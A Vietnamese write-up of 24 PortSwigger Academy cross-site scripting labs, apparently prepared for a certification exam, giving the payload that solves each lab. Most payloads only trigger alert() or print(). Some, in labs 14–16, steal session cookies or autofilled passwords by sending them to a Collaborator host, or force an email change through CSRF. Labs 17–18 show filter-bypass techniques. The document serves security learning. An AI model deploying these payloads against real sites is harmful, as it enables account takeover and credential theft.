# Portswigger Cross-site scripting (XSS) 😍
<style>body {text-align: justify}</style>
Hi, dưới đây là writeup của 24/24 bài lab (trừ mức độ Expert) về lỗ hổng [XSS](https://portswigger.net/web-security/cross-site-scripting) mình đã solve trong quá trình ôn tập thi chứng chỉ của Portswigger.
### 1. Reflected XSS into HTML context with nothing encoded
##### Description
> This lab contains a simple reflected cross-site scripting vulnerability in the search functionality.
>
> To solve the lab, perform a cross-site scripting attack that calls the alert function.
##### Writeup
Ứng dụng web có chức năng search và in chuỗi tìm kiếm ra giao diện.

Kiểm tra mã nguồn HTML, có thể thấy, chuỗi tìm kiếm được truyền trực tiếp vào mà không có validate → reflected XSS.

Chỉ cần search chuỗi `<script>alert(1)</script>`, một thông báo alert sẽ xuất hiện.

Lúc này ta đã solve thành công challenge.

### 2. Stored XSS into HTML context with nothing encoded
##### Description
> This lab contains a stored cross-site scripting vulnerability in the comment functionality.
>
> To solve this lab, submit a comment that calls the alert function when the blog post is viewed.
##### Writeup
Chức năng comment tại mỗi post trên ứng dụng bị dính lỗi Stored XSS.

Thử comment với nội dung như trên, kiểm tra mã nguồn thì thấy các trường `Comment`, `Name`, `Website` được render ra HTML. Attacker hoàn toàn có thể truyền XSS payload vào trường nào.

Ở đây, mình chèn `<script>alert(1)</script>` vào trường comment.

Lúc này load lại trang chứa comment, một hộp thông báo alert đã xuất hiện. Như vậy, ta đã solve được challenge.

### 3. DOM XSS in `document.write` sink using source `location.search`
##### Description
> This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript `document.write` function, which writes data out to the page. The `document.write` function is called with data from location.search, which you can control using the website URL.
>
> To solve this lab, perform a cross-site scripting attack that calls the alert function.
##### Writeup
Ứng dụng web có chức năng search và bị dĩnh lỗi DOM-based XSS tại chức năng seaerch tracking. Đọc mã nguồn HTML có thể thấy đoạn script chứa sink `document.write` ghi tag `<img>` chứa source `query` (chính là chuỗi được search).

Chỉ cần search `aa"><script>alert(1)</script>` để escape tag `img` và thực thi alert.

Như vậy ta solve được challenge.

### 4. DOM XSS in `innerHTML` sink using source `location.search`
##### Description
> This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an `innerHTML` assignment, which changes the HTML contents of a div element, using data from `location.search`.
>
> To solve this lab, perform a cross-site scripting attack that calls the alert function.
##### Writeup
Chuỗi search được lấy từ `location.search` và được trang web render ra HTML thông qua `innerHTML`.

Do `innerHTML` không hỗ trợ tag `script` nên ta sẽ sử dụng payload sau: `<img src=1 onerror=alert(1)` - Do source ảnh sai nên event `onerror` sẽ được trigger → alert.

Thực hiện tìm kiếm với payload trên, ta thấy alert thành công.

Như vậy ta đã solve được challenge.

### 5. DOM XSS in jQuery anchor `href` attribute sink using `location.search` source
##### Description
> This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library's `$` selector function to find an anchor element, and changes its `href` attribute using data from `location.search`.
>
> To solve this lab, make the "back" link alert `document.cookie`.
##### Writeup
Tại form submit feedback, trang web có chứa chức năng `Back` để quay lại trang trước.

Khi click vào thì một GET request được gửi đến `/feedback?returnPath=/` tức là trở về trang chủ. Nếu đọc mã nguồn HTML, có thể thấy có một đoạn script sử dụng JQuery để thêm attribute `href` vào tag `<a>` chứa đường link back ở trên. Và source lấy chính là tham số `returnPath`.

Như vậy ta sẽ send request đến `/feedback?returnPath=javascript:alert(1)` để khi click vào `Back`, hàm alert trong `href="javascript:alert(1)"` được thực thi.

Như vậy, ta solve được challenge.

### 6. DOM XSS in jQuery selector sink using a hashchange event
##### Description
> This lab contains a DOM-based cross-site scripting vulnerability on the home page. It uses jQuery's `$()` selector function to auto-scroll to a given post, whose title is passed via the `location.hash` property.
>
> To solve the lab, deliver an exploit to the victim that calls the `print()` function in their browser.
##### Writeup
Đọc HTML source code thì có 1 đoạn script JQuery sử dụng selector `$()` thực hiện auto-scroll người dùng đến bài post có chứa chuỗi hash (lấy từ source `location.hash`) do người dùng nhập vào với prefix `#`. Nó sẽ được thực thi khi event hashchange được kích hoạt.

Ví dụ khi hash là `Meeting`:

Có thể thấy, ta hoàn toàn có thể inject 1 XSS vector thông qua `location.hash`. Tuy nhiên, ta cần xác định phương thức để kích hoạt hashchange event mà không cần có tương tác của người dùng. Cách đơn giản nhất là sử dụng iframe kiểu như sau:
`<iframe src="https://0a62004c0478f3bac9787abb0026009d.web-security-academy.net/#" onload="this.src+='<img src=1 onerror=print()>'"></iframe>`
Cụ thể, src attribute hướng đến trang có lỗ hổng với hash value rỗng. Khi iframe được load, XSS payload `<img src=1 onerror=print()>` sẽ được gắn vào hash và khiến cho hashchange event được kích hoạt.
Nhét payload trên vào exploit server để gửi đi cho nạn nhân.

Lúc này tại máy nạn nhân, `print()` được thực thi và ta solve được challenge.

### 7. Reflected XSS into attribute with angle brackets HTML-encoded
##### Description
> This lab contains a reflected cross-site scripting vulnerability in the search blog functionality where angle brackets are HTML-encoded. To solve this lab, perform a cross-site scripting attack that injects an attribute and calls the alert function.
##### Writeup
Ta thấy chuỗi search được HTML encode khi render.

TUy nhiên, chuỗi search lại được thêm vào thuộc tính `value` của tag `input` search. Do đó, sử dụng payload `aaa" onfocus=alert(1) x="` để escape `value` và thêm event onfocus.

Khi focus vào `input` search thì hàm alert được thực thi.

Như vậy ta đã solve được challenge.

### 8. Stored XSS into anchor href attribute with double quotes HTML-encoded
##### Description
> This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the `alert` function when the comment author name is clicked.
##### Writeup
Ứng dụng web bị dính Stored XSS tại chức năng comment.

Sau khi post comment, kiểm tra mã nguồn HTML thì thấy trường `Website` được lưu trong `href` của tag `<a>`

Chỉ cần website là `javascript:alert(1)`,

thì khi click vào link đó, ta alert được thành công.

Lúc này ta solve được challenge.

### 9. Reflected XSS into a JavaScript string with angle brackets HTML encoded
##### Description
> This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets are encoded. The reflection occurs inside a JavaScript string. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the `alert` function.
##### Writeup
Ứng dụng web tồn tại XSS tại chức năng search. Cụ thể chuỗi người dùng search sẽ được lưu vào biến `searchTerms`.

Lúc này ta có thể escape `searchTerms` và gọi hàm alert bằng payload `test';alert(1);//`. Có thể thấy đoạn script được render sau khi ta inject vẫn đúng cấu trúc của Javascript.

Thực hiện search với payload trên, ta alert thành công.

Như vậy ta solve được challenge.

### 10. DOM XSS in `document.write` sink using source `location.search` inside a select element
##### Description
> This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript `document.write` function, which writes data out to the page. The `document.write` function is called with data from `location.search` which you can control using the website URL. The data is enclosed within a select element.
>
> To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function.
##### Writeup
Ứng dụng web có chức năng `Check stock` tại mỗi sản phẩm theo từng `store`.

Inspect HTML ta đọc được đoạn script render ra `<select>` chứa các tên store. Cụ thể, ta có thể control được store cần tìm bằng tham số `storeId` thông qua `location.search`. Sau đó sink `document.write` được sử dụng để ghi `storeId` đó trực tiếp vào `<option>`.

Thử thêm tham số `storeId` bằng chuỗi bất kì ta thấy option chứa chuỗi đó.

Sử dụng payload `hacked</option><script>alert(1)</script><option>` ta sẽ escape được tag `<option>` ban đầu và gọi được hàm `alert()`.

HTML được render sau khi inject payload trên có dạng như sau:

Như vây ta đã alert và solve challenge thành công.

### 11. DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
##### Description
> This lab contains a DOM-based cross-site scripting vulnerability in a AngularJS expression within the search functionality.
>
> AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the `ng-app` attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within **double curly braces**. This technique is useful when angle brackets are being encoded.
>
> To solve this lab, perform a cross-site scripting attack that executes an AngularJS expression and calls the `alert` function.
##### Writeup
Ứng dụng chứa 1 chức năng search và in chuỗi người search ra giao diện.


Kiểm tra mã HTML thì phát hiện có `ng-app` directive của AngularJS.

Lúc này, sử dụng Angular expression với payload `{{constructor.constructor('alert(1)')()}}` để khởi tạo một hàm alert() bằng `constructor` và thực thi nó thông qua `{{}}`.

Như vây, ta alert thành công và solve được challenge.

### 12. Reflected DOM XSS
##### Description
> This lab demonstrates a reflected DOM vulnerability. Reflected DOM vulnerabilities occur when the server-side application processes data from a request and echoes the data in the response. A script on the page then processes the reflected data in an unsafe way, ultimately writing it to a dangerous sink.
To solve this lab, create an injection that calls the `alert()` function.
##### Writeup
Search bằng chuỗi `xss` và dùng DOM Invader tìm chuỗi `xss` thì thấy nó được lưu vào thuộc tính `searchTerm` của object `searchResultsObj`.

Ta sẽ escape thuộc tính `searchTerm` bằng payload `\" - alert(1)} //`. Lúc này `searchTerm` sẽ có giá trị NaN vì `"xss" - alert(1)` sẽ cho ra NaN. Và tất nhiên alert(1) đã được thực thi.

Như vậy, ta solve được challenge.

### 13. Stored DOM XSS
##### Description
> This lab demonstrates a stored DOM vulnerability in the blog comment functionality. To solve this lab, exploit this vulnerability to call the `alert()` function.
##### Writeup
Tại chức năng comment, thực hiện comment có chứa chuỗi `xss` và sử dụng DOM Invader xem chuỗi `xss` thì thấy comment được lưu dạng object vào một mảng.

Kiếm được source code js, server sử dụng JSON.parse để parse mảng các comment đó rồi bắt đầu xử lý để hiển thị comment.
Để ý một chút, hàm `escapeHTML()` được sử dụng có chức năng thay thế `<` và `>` lần lượt thành `<` và `>`. Tuy nhiên, nó chỉ thay thế kí tự đầu tiên nó gặp mà thôi. Có một số thuộc tính của comment sử dụng `escapeHTML()` trong đó có `comment.author`.

Tận dụng điều đó, ta sử dụng payload `<><img src=1 onerror=alert(1)>` tại trường `Name`, chính là `comment.author`. Lúc này chỉ có `<>` bị escapeHTML còn `<img src=1 onerror=alert(1)>` vẫn được giữ nguyên.

Submit comment và load lại trang ta thấy có alert xuất hiện. Như vậy ta solve được challenge.

### 14. Exploiting cross-site scripting to steal cookies
##### Description
> This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim's session cookie, then use this cookie to impersonate the victim.
##### Writeup
Tương tự các bài trên, chức năng comment bị dính Stored XSS. Kiểm tra với trường comment với `<script>alert(1)</script>` thì thấy attack thành công.


Ta sẽ đi lấy cắp cookie của user khác bằng payload:
```javascript
<script>
fetch('//<COLLABORATOR DOMAIN>', {
method: 'POST',
body:document.cookie
});
</script>
```
Cụ thể, khi user khác xem comment chứa payload trên, nó sẽ POST đến Collaborator domain đang lắng nghe với body chứa cookie.
Thực hiện gửi comment chứa đoạn payload trên.

Kiểm tra trên collaborator thì thấy đã có request đến và body chứa cookie của một user đã xem comment.

Truy cập `/my-account` với cookie vừa lấy được, ta thấy đó là `administrator`.

Như vậy ta đã solve thành công challenge.

### 15. Exploiting cross-site scripting to capture passwords
##### Description
> This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim's username and password then use these credentials to log in to the victim's account.
##### Writeup
Chức năng comment bài này cũng dính Stored XSS. Ngoài ra vì ứng dụng sử dụng một app khác tự động nhập password khi có form đăng nhập nên ta sẽ tận dụng XSS để tạo 1 form đăng nhập fake và sử dụng onchange event tại password input để gửi password về collaborator domain mình control.
Payload có dạng như sau:
```javascript
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('//fj2kpo8ir9f1d3qe2t9ecw850w6mub.oastify.com',{
method:'POST',
body:username.value ':' this.value
});">
```
Nó sẽ POST đến collaborator tài khoản nạn nhân khi onchange tại password kích hoạt. Ta gửi payload ở trường comment.

Sau khi gửi và đợi 1 chút thì thấy có request đến collaborator chứa account cần tìm là `administrator:o3s7nf3ll26918ct5z3g`.

Đăng nhập bằng account trên và ta solve được challenge.

### 16. Exploiting XSS to perform CSRF
##### Description
> This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to perform a CSRF attack and change the email address of someone who views the blog post comments.
>
> You can log in to your own account using the following credentials: `wiener:peter`
##### Writeup
Ứng dụng web này tiếp tục dính Stored XSS tại comment. Lần này ta sẽ tận dụng lỗ hổng này để CSRF làm thay đổi email của nạn nhân.
Đầu tiên, đăng nhập tài khoản có sẵn `wiener:peter` để xem form update email. GET đến `/my-account`, form update email gồm 2 trường `email` và `csrf` (sẽ được tạo sẵn sau khi load form).

Khi thực hiện điền form và update email, sẽ có 1 POST request đến `/my-account/change-email` với `email` và `csrf` tương ứng.

Sau khi đã biết được quy trình thay đổi email, ta thực hiện tạo payload như sau:
```javascript
<script>
var request = new XMLHttpRequest();
request.onload = csrfEmail;
request.open('get','/my-account',true);
request.send();
function csrfEmail() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('POST', '/my-account/change-email', true);
changeReq.send('email=pwned@gmail.com&csrf='+token)
};
</script>
```
Cụ thể, nó sẽ GET `/my-account` trước để tự đông lấy mã `csrf` rồi POST đến `/my-account/change-email` kèm theo `email` mong muốn đổi và mã `csrf` đã lấy được. Như vậy, khi nạn nhân load comment này thì email của họ sẽ tự động bị đổi.
Gửi comment với payload trên.

Sau khi gửi thì solve thành công challenge do có nạn nhân xem comment và bị đổi email.

### 17. Reflected XSS into HTML context with most tags and attributes blocked
##### Description
> This lab contains a reflected XSS vulnerability in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors.
>
> To solve the lab, perform a cross-site scripting attack that bypasses the WAF and calls the `print()` function.
##### Writeup
Ứng dụng có chức năng search dính XSS nhưng đã block hầu hết các tags.

Ta sẽ đi bruteforce tất cả các tag để xem các tag không bị block. Search với từ khóa `<$tag$>` với Intruder.

Kết quả có tag `<body>` trả về 200 → không bị block.

Ta thử search `<body onload=1>` thì thấy event `onload` đã bị block.

Tương tự, ta sẽ đi tìm event chưa bị block bằng cách bruteforce.

Kết quả trả về có 3 event có thể sử dụng được.

Ở đây, ta dùng `onresize=print()`.

Và để trigger XSS mà không cần thao tác người dùng, ta sử dụng `<iframe>` nhằm load body của trang với size khác để kích hoạt `onresize`:
```
<iframe src="https://0a88004004f4b0bec237753300b50012.web-security-academy.net/?search=%3Cbody%20onresize=print()%3E" onload=this.style.width='150px'>
```
Set payload này vào exploit server và gửi cho nạn nhân. Ta solve được challenge khi hàm `print()` đã được gọi.

### 18. Reflected XSS into HTML context with all tags blocked except custom ones
##### Description
> This lab blocks all HTML tags except custom ones.
>
> To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts `document.cookie`.
##### Writeup
Nâng cấp từ bài trên, tất cả các tag trong bài này đều bị block.

Tuy nhiên, trang vẫn chấp nhận các custom tags. Ở đây mình sử dụng tag `<xss>` với payload: `<xss onclick=alert(document.cookie)>aaa</xss>`.

Khi click vào dòng `aaa`, ta thấy alert thành công. Tuy nhiên, để tấn công mà không cần tương tác từ người dùng, ta search với payload sau:
`<xss id=xss onfocus=alert(document.cookie) tabindex=1>#xss`
Payload này sẽ khiến nạn nhân khi load trang sẽ tự động tab đến tag có `id=xss` đầu tiên (do `tabindex=1`) và từ đó trigger `onfocus` → `alert` thành công.

Lúc này, tạo 1 đoạn script chuyển trang đến URL chứa payload trên và lưu vào exploit server.

Thực hiện gửi nó cho nạn nhân và ta solve được challenge.

### 19. Reflected XSS with some SVG markup allowed
##### Description
> This lab has a simple reflected XSS vulnerability. The site is blocking common tags but misses some SVG tags and events.
>
> To solve the lab, perform a cross-site scripting attack that calls the `alert()` function.
##### Writeup
Thử search với payload chứa tag `<script>` thì thấy bị block.

Dùng Intruder với wordlist tag cho trước để tìm xem các tag nào không bị filter.

Kết quả trả về có 4 tag không bị block là `image`, `svg`, `title`, `animatetransform`.

Như vậy, ta có thể sử dụng tag `animatetransform` trong tag `svg`. Ta tiếp tục dùng Intruder để xem event nào không bị block.

Kết quả chỉ có `onbegin` không bị filter.

Sử dụng nó với payload `<svg><animatetransform onbegin=alert(1)>`, ta solve được challenge.

### 20. Reflected XSS in canonical link tag
##### Description
> This lab reflects user input in a canonical link tag and escapes angle brackets.
>
> To solve the lab, perform a cross-site scripting attack on the home page that injects an attribute that calls the alert function.
>
> To assist with your exploit, you can assume that the simulated user will press the following key combinations:
>
> `ALT+SHIFT+X`
> `CTRL+ALT+X`
> `Alt+X`
>
> Please note that the intended solution to this lab is only possible in Chrome.
##### Writeup
Khi truy cập trang web, có thể thấy canonical link chính là đường dẫn URL hiện tại. Nhìn vào đó mình có thể escape và thêm thuộc tính để reflected XSS.

Ta sẽ truy cập với URL: `<LAB DOMAIN>/?' accesskey='x' onclick='alert(1)`. Việc dùng `?` để tránh sai URL trong quá trình inject payload. Ngoài ra, việc thêm `accesskey='x'` để khi user dùng tổ hợp phím `ALT+SHIFT+X` hay `CTRL+ALT+X` hay `Alt+X` thì nó sẽ truy cập đến tag chứa nó; và kết hợp với `onclick`, ta sẽ trigger được alert.

Tuy nhiên, sau khi gửi payload trên thì thấy dấu cách đã bị encode thành `%20`. Chỉ cần việc xóa các dấu cách đó đi: `'accesskey='x'onclick='alert(1)` và gửi payload.

Thực hiện ấn `ALT+SHIFT+X` (đối với Windows), ta sẽ trigger được alert và solve được challenge.

### 21. Reflected XSS into a JavaScript string with single quote and backslash escaped
##### Description
> This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality. The reflection occurs inside a JavaScript string with single quotes and backslashes escaped.
>
> To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.
##### Writeup
Chuỗi user search được lưu vào biến `searchTerms`.

Ta thử escape chuỗi searchTerms và gọi alert bằng payload `test';alert(1)//`. Tuy nhiên `'` đã bị escape.

Tuy nhiên, ta thử thêm `</script>` để đóng tag `script` rồi thêm XSS payload `<img src=1 onerror=alert(document.domain)>`.

Kết quả có thể thấy ta đã gọi thành công hàm alert và solve được challenge.

### 22. Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
##### Description
> This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets and double are HTML encoded and single quotes are escaped.
>
> To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.
##### Writeup
Bài lab này nâng cấp thêm từ bài trên khi mà thực hiện HTML encode hết các kí tự `<`,`>`,`"` đồng thời espace dấu `'`.

Tuy nhiên, kí tự `\` thì không bị escape.

Khi đó sử dụng `\'` để cắt chuỗi khỏi `searchTerms`. Cụ thể,`'` được escape thành `\'` → `\'` trở thành `\\'`. Lúc này `\\` được hiểu là để espace `\` còn dấu `'` sẽ không còn bị escape nữa.

Tận dụng điều đó, ta search với payload `test\';alert(1);//` để gọi được hàm alert và `//` để comment phần dư đằng sau.

Gửi payload và ta alert thành công → Solve được challenge.

### 23. Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
##### Description
> This lab contains a stored cross-site scripting vulnerability in the comment functionality.
>
> To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.
##### Writeup
Ứng dụng web có chức năng comment bị dính Stored XSS. Thử submit một comment như dưới:

Load lai trang chứa comment có thể thấy, trường `website` được truyền thẳng vào hàm `track()` trong event onclick tại tag `<a>` chứa tên người dùng.

Thử comment với website là `http://a.com"\'><` thì thấy các í tự `"\'><` đều bị HTML encode cũng như escape.

Nhìn vào hàm `track()` ta có thể sử dụng payload sau `http://a.com'-alert(1)-'` để thoát ra khỏi chuỗi và gọi được alert nhờ expression. Tuy nhiên vì `'` đã bị escape nên ta sẽ encode thử `'` thành `'` xem.

Gửi payload qua trường website và click vào tên người dùng comment, kết quả alert thành công. Như vậy server đã thực hiện decode `'` thành `'` trước khi `onclick` được thực thi hoàn toàn.

Bên cạnh payload trên, ta có thể dùng payload sau: `http://a.com');alert(1)//`. Tất nhiên ta sẽ encode `'` thành `'`.

Như vậy ta solve được challenge.

### 24. Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
##### Description
> This lab contains a reflected cross-site scripting vulnerability in the search blog functionality. The reflection occurs inside a template string with angle brackets, single, and double quotes HTML encoded, and backticks escaped. To solve this lab, perform a cross-site scripting attack that calls the alert function inside the template string.
##### Writeup
Bài lab này sử dụng template literal trong dấu backticks `` để hiển thị chuỗi search ở biến `message`. Các kí tự `'<>"/` đều bị Unicode encode.

Ta sẽ dùng `${}` syntax để thực thi JS expression trong dấu backticks `` của template mà không cần phải terminate khỏi nó. Ví dụ, search với chuỗi `${1+1}`:

Có thể thấy `${1+1}` đã được thực thi và trả về `2`.

Sau khi kiểm chứng, ta chỉ việc gọi alert bằng `${alert(1)}` để solve được challenge này.


###### tags: `portswigger`, `xss`, `client-side`